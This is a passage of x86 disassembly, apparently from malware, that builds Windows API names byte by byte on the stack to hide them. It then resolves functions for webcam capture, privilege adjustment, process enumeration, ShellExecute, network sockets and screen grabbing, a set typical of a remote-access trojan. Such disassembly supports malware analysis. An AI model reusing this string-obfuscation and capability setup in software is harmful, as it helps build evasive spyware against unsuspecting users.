mov byte [esp + 0x1f], 0x50
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0x69
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], 0
call edi
mov dword [esi + 0xb0], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x4c
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x50
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0x68
mov byte [esp + 0x23], 0x4e
mov byte [esp + 0x24], 0x61
mov byte [esp + 0x25], 0x6d
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x41
mov byte [esp + 0x28], 0
call edi
mov dword [esi + 0xb4], eax
mov byte [esp + 0x10], 0x46
mov byte [esp + 0x11], 0x69
mov byte [esp + 0x12], 0x6e
lea ecx, [esp + 0x10]
mov byte [esp + 0x13], 0x64
push ecx
push ebp
mov byte [esp + 0x1c], 0x4e
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x78
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x46
mov byte [esp + 0x21], 0x69
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x25], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0xb8], eax
push edx
push ebp
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], 0x6e
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x1d], 0x43
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x74
mov byte [esp + 0x21], 0x69
mov byte [esp + 0x22], 0x63
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x6c
mov byte [esp + 0x25], 0x53
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0
call edi
mov dword [esi + 0xbc], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x4c
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x76
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x43
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x74
mov byte [esp + 0x21], 0x69
mov byte [esp + 0x22], 0x63
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x6c
mov byte [esp + 0x25], 0x53
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0
call edi
mov dword [esi + 0xc0], eax
mov byte [esp + 0x10], 0x44
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x6c
mov byte [esp + 0x13], bl
mov byte [esp + 0x14], 0x74
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0x43
mov byte [esp + 0x17], 0x72
mov byte [esp + 0x18], 0x69
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], 0x61
lea ecx, [esp + 0x10]
mov byte [esp + 0x1d], 0x6c
push ecx
push ebp
mov byte [esp + 0x26], 0x53
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x63
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x6e
mov byte [esp + 0x2d], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0xc4], eax
push edx
push ebp
mov byte [esp + 0x18], 0x49
mov byte [esp + 0x19], 0x6e
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x61
mov byte [esp + 0x1e], 0x6c
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x7a
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x43
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x25], 0x74
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x28], 0x61
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x53
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x63
mov byte [esp + 0x2d], 0x74
mov byte [esp + 0x2e], 0x69
mov byte [esp + 0x2f], 0x6f
mov byte [esp + 0x30], 0x6e
mov byte [esp + 0x31], 0
call edi
mov dword [esi + 0xc8], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x45
mov byte [esp + 0x1c], 0x78
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], 0x43
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x54
mov byte [esp + 0x24], 0x68
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x64
mov byte [esp + 0x29], 0
call edi
mov dword [esi + 0xcc], eax
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x74
mov byte [esp + 0x13], 0x4c
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], 0x73
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0x45
mov byte [esp + 0x18], 0x72
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0
lea ecx, [esp + 0x10]
push ecx
push ebp
call edi
lea edx, [esp + 0xd8]
mov dword [esi + 0xd0], eax
push edx
mov byte [esp + 0xdc], 0x50
mov byte [esp + 0xdd], 0x53
mov byte [esp + 0xde], 0x41
mov byte [esp + 0xdf], 0x50
mov byte [esp + 0xe0], 0x49
mov byte [esp + 0xe1], 0x2e
mov byte [esp + 0xe2], 0x44
mov byte [esp + 0xe3], 0x4c
mov byte [esp + 0xe4], 0x4c
mov byte [esp + 0xe5], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x4d
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x75
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x4e
mov byte [esp + 0x26], 0x61
mov byte [esp + 0x27], 0x6d
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x45
mov byte [esp + 0x2a], 0x78
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0xd4], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], 0x6e
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x6d
mov byte [esp + 0x1c], 0x50
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x63
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], 0x73
mov byte [esp + 0x23], 0x4d
mov byte [esp + 0x24], 0x6f
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2a], 0
call edi
mov dword [esi + 0xd8], eax
mov byte [esp + 0xd8], 0x41
mov byte [esp + 0xd9], 0x56
mov byte [esp + 0xda], 0x49
mov byte [esp + 0xdb], 0x43
mov byte [esp + 0xdc], 0x41
mov byte [esp + 0xdd], 0x50
mov byte [esp + 0xde], 0x33
mov byte [esp + 0xdf], 0x32
mov byte [esp + 0xe0], 0x2e
mov byte [esp + 0xe1], 0x44
mov byte [esp + 0xe2], 0x4c
mov byte [esp + 0xe3], 0x4c
lea edx, [esp + 0xd8]
mov byte [esp + 0xe4], 0
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x63
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x70
mov byte [esp + 0x1b], 0x43
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x43
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x70
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x25], 0x75
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x57
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x6e
mov byte [esp + 0x2b], 0x64
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], 0x77
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0xdc], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x63
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x70
mov byte [esp + 0x1b], 0x47
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], 0x44
mov byte [esp + 0x1f], 0x72
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], 0x76
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], 0x44
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x73
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2c], 0x69
mov byte [esp + 0x2d], 0x6f
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], 0x41
mov byte [esp + 0x30], 0
call edi
lea edx, [esp + 0xd8]
mov dword [esi + 0xe0], eax
push edx
mov byte [esp + 0xdc], 0x41
mov byte [esp + 0xdd], 0x44
mov byte [esp + 0xde], 0x56
mov byte [esp + 0xdf], 0x41
mov byte [esp + 0xe0], 0x50
mov byte [esp + 0xe1], 0x49
mov byte [esp + 0xe2], 0x33
mov byte [esp + 0xe3], 0x32
mov byte [esp + 0xe4], 0x2e
mov byte [esp + 0xe5], 0x44
mov byte [esp + 0xe6], 0x4c
mov byte [esp + 0xe7], 0x4c
mov byte [esp + 0xe8], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
lea eax, [esp + 0x10]
mov byte [esp + 0x10], 0x4f
push eax
push ebp
mov byte [esp + 0x19], 0x70
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], 0x50
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x63
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], 0x73
mov byte [esp + 0x23], 0x54
mov byte [esp + 0x24], 0x6f
mov byte [esp + 0x25], 0x6b
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0xe4], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x41
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x6a
mov byte [esp + 0x1b], 0x75
mov byte [esp + 0x1c], 0x73
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], 0x54
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x50
mov byte [esp + 0x24], 0x72
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], 0x76
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x28], 0x6c
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x67
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x73
mov byte [esp + 0x2d], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0xe8], eax
push edx
push ebp
mov byte [esp + 0x18], 0x4c
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x6b
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], 0x50
mov byte [esp + 0x1f], 0x72
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], 0x76
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x67
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x56
mov byte [esp + 0x28], 0x61
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x75
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x41
mov byte [esp + 0x2d], 0
call edi
mov dword [esi + 0xec], eax
mov byte [esp + 0xd8], 0x57
mov byte [esp + 0xd9], 0x49
mov byte [esp + 0xda], 0x4e
mov byte [esp + 0xdb], 0x4d
mov byte [esp + 0xdc], 0x4d
lea eax, [esp + 0xd8]
mov byte [esp + 0xdd], 0x2e
push eax
mov byte [esp + 0xe2], 0x44
mov byte [esp + 0xe3], 0x4c
mov byte [esp + 0xe4], 0x4c
mov byte [esp + 0xe5], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x10]
mov ebp, eax
push ecx
push ebp
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x6d
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x53
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], 0x45
mov byte [esp + 0x20], 0x76
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0xf0], eax
push edx
push ebp
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x6d
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x4b
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], 0x6c
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], 0x45
mov byte [esp + 0x21], 0x76
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x25], 0
call edi
mov dword [esi + 0xf4], eax
lea eax, [esp + 0xd8]
push eax
mov byte [esp + 0xdc], 0x4f
mov byte [esp + 0xdd], 0x4c
mov byte [esp + 0xde], 0x45
mov byte [esp + 0xdf], 0x33
mov byte [esp + 0xe0], 0x32
mov byte [esp + 0xe1], 0x2e
mov byte [esp + 0xe2], 0x44
mov byte [esp + 0xe3], 0x4c
mov byte [esp + 0xe4], 0x4c
mov byte [esp + 0xe5], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x10]
mov ebp, eax
push ecx
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x55
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], 0x69
mov byte [esp + 0x24], 0x7a
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0
call edi
mov dword [esi + 0xf8], eax
mov byte [esp + 0x10], 0x43
lea edx, [esp + 0x10]
mov byte [esp + 0x11], 0x6f
push edx
push ebp
mov byte [esp + 0x1a], 0x43
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x61
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x47
mov byte [esp + 0x21], 0x75
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x64
mov byte [esp + 0x24], 0
call edi
mov dword [esi + 0xfc], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x49
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x61
mov byte [esp + 0x20], 0x6c
mov byte [esp + 0x21], 0x69
mov byte [esp + 0x22], 0x7a
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0
call edi
lea ecx, [esp + 0xd8]
mov dword [esi + 0x100], eax
push ecx
mov byte [esp + 0xdc], 0x53
mov byte [esp + 0xdd], 0x48
mov byte [esp + 0xde], 0x45
mov byte [esp + 0xdf], 0x4c
mov byte [esp + 0xe0], 0x4c
mov byte [esp + 0xe1], 0x33
mov byte [esp + 0xe2], 0x32
mov byte [esp + 0xe3], 0x2e
mov byte [esp + 0xe4], 0x44
mov byte [esp + 0xe5], 0x4c
mov byte [esp + 0xe6], 0x4c
mov byte [esp + 0xe7], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [esp + 0x10]
mov ebp, eax
push edx
push ebp
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], 0x48
mov byte [esp + 0x1a], 0x46
mov byte [esp + 0x1b], 0x69
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x4f
mov byte [esp + 0x1f], 0x70
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x25], 0x6f
mov byte [esp + 0x26], 0x6e
mov byte [esp + 0x27], 0x41
mov byte [esp + 0x28], 0
call edi
mov dword [esi + 0x104], eax
mov byte [esp + 0x10], 0x53
mov byte [esp + 0x11], 0x68
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], 0x6c
mov byte [esp + 0x14], 0x6c
mov byte [esp + 0x15], 0x45
mov byte [esp + 0x16], 0x78
mov byte [esp + 0x17], bl
lea eax, [esp + 0x10]
mov byte [esp + 0x18], 0x63
push eax
push ebp
mov byte [esp + 0x21], 0x75
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x25], 0
call edi
lea ecx, [esp + 0xd8]
mov dword [esi + 0x108], eax
push ecx
mov byte [esp + 0xdc], 0x57
mov byte [esp + 0xdd], 0x53
mov byte [esp + 0xde], 0x32
mov byte [esp + 0xdf], 0x5f
mov byte [esp + 0xe0], 0x33
mov byte [esp + 0xe1], 0x32
mov byte [esp + 0xe2], 0x2e
mov byte [esp + 0xe3], 0x44
mov byte [esp + 0xe4], 0x4c
mov byte [esp + 0xe5], 0x4c
mov byte [esp + 0xe6], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [esp + 0x10]
mov ebp, eax
push edx
push ebp
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x53
mov byte [esp + 0x1a], 0x41
mov byte [esp + 0x1b], 0x49
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x63
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], 0
call edi
mov dword [esi + 0x10c], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x6b
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x110], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x63
mov byte [esp + 0x19], 0x6c
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x73
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x63
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x114], eax
push edx
push ebp
mov byte [esp + 0x18], 0x62
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x6e
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0
call edi
mov dword [esi + 0x118], eax
mov byte [esp + 0x10], 0x67
mov byte [esp + 0x11], bl
lea eax, [esp + 0x10]
mov byte [esp + 0x12], 0x74
push eax
push ebp
mov byte [esp + 0x1b], 0x68
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], 0x62
mov byte [esp + 0x20], 0x79
mov byte [esp + 0x21], 0x6e
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x6d
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x11c], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x53
mov byte [esp + 0x1a], 0x41
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], 0x61
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x21], 0x70
mov byte [esp + 0x22], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x120], eax
push edx
push ebp
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x53
mov byte [esp + 0x1a], 0x41
mov byte [esp + 0x1b], 0x43
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x21], 0x70
mov byte [esp + 0x22], 0
call edi
mov dword [esi + 0x124], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x68
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], 0x73
mov byte [esp + 0x1d], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x128], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x6e
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x12c], eax
push edx
mov byte [esp + 0x14], 0x6e
mov byte [esp + 0x15], 0x74
mov byte [esp + 0x16], 0x6f
mov byte [esp + 0x17], 0x68
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], 0
push ebp
call edi
mov dword [esi + 0x130], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x53
mov byte [esp + 0x1a], 0x41
mov byte [esp + 0x1b], 0x47
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], 0x4c
mov byte [esp + 0x1f], 0x61
mov byte [esp + 0x20], 0x73
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0x45
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], 0x72
mov byte [esp + 0x25], 0x6f
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x134], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x72
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x76
mov byte [esp + 0x1c], 0x66
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x6d
mov byte [esp + 0x20], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x138], eax
push edx
push ebp
mov byte [esp + 0x18], 0x67
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x73
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x63
mov byte [esp + 0x1e], 0x6b
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x6d
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
call edi
mov dword [esi + 0x13c], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], 0x68
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x64
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0x77
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x20], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x140], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x63
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x6e
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x63
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], 0
call edi
mov dword [esi + 0x144], eax
lea edx, [esp + 0x10]
mov byte [esp + 0x10], 0x73
push edx
push ebp
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x6e
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0
call edi
mov dword [esi + 0x148], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x72
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x76
mov byte [esp + 0x1c], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x14c], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x67
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x68
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x6d
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
call edi
lea edx, [esp + 0xd8]
mov dword [esi + 0x150], eax
push edx
mov byte [esp + 0xdc], 0x47
mov byte [esp + 0xdd], 0x44
mov byte [esp + 0xde], 0x49
mov byte [esp + 0xdf], 0x33
mov byte [esp + 0xe0], 0x32
mov byte [esp + 0xe1], 0x2e
mov byte [esp + 0xe2], 0x44
mov byte [esp + 0xe3], 0x4c
mov byte [esp + 0xe4], 0x4c
mov byte [esp + 0xe5], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x44
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x4f
mov byte [esp + 0x1f], 0x62
mov byte [esp + 0x20], 0x6a
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x63
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x154], eax
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x74
mov byte [esp + 0x13], 0x44
mov byte [esp + 0x14], 0x49
mov byte [esp + 0x15], 0x42
mov byte [esp + 0x16], 0x69
mov byte [esp + 0x17], 0x74
mov byte [esp + 0x18], 0x73
mov byte [esp + 0x19], 0
push ecx
push ebp
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x158], eax
push edx
push ebp
